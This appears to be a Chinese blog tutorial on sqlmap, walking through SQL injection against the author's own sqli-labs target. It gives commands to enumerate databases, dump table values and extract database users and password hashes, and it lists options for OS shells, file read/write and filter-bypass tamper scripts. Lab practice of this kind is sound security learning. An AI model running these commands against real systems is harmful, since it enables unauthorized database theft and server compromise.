序
遇到SQL注入就sqlmap一把梭,有一说一,这个工具确实好用,不过还是要了解SQL注入原理,不然只能做个脚本小子,简单了解一下 https://www.cnblogs.com/Lee-404/p/12795193.html
sqlmap使用
介绍之前,先简单了解一下sqlmap的参数,可以利用 sqlmap -h 查询,这里简单介绍几个常用的
-u URL
-r 文件
–dbs 获取库名
-D 库名
–tables 获取表名
-T 表名
–columns 获取字段名
-C 字段名
–dump 获取字段值
–users 获取数据库用户
–passwords 获取数据库用户密码
–current-db 获取当前数据库
–current-user 获取当前数据库用户
–batch 跳过确认
直接注入
- 首先判断是否存在注入
发现id参数可控,可能有SQL注入,唆哈
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --batch
- 查询数据库
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --dbs --batch
其实到这一步,查哪个库已经无所谓了,因为整个数据库的内容全暴露了,可以为所欲为。一般渗透测试中到这一步就可以了,再下去要出事,不过这是我自己的靶机无所谓
- 查询指定数据库的表
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa --tables --batch
- 查询指定表的字段值
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag --columns --batch
- 查询值
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag -C flag --dump --batch
文本注入
从文本中保存一个HTTP请求,sqlmap会加载这个文件获取请求,通常在POST提交表单使用,这个要配合抓包软件使用,如一个文件保存着:
GET /sql/Less-1/?id=1 HTTP/1.1
Host: 192.168.43.167
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap -r test.txt --batch
接下来就和直接用URL注入没区别了
其他
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --users --batch
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --passwords --batch
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-db --batch
sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-user --batch
参数
–level 探测等级
–is-db 当前用户是否是管理员
–roles 列处数据库管理角色
–referer HTTP referer头
–sql-shell 自定义SQL语句
–os-cmd,–os-shell 任意操作系统命令
–file-read 从服务器中读取文件
–file-write 上传文件到服务器
–tamper 加载绕过脚本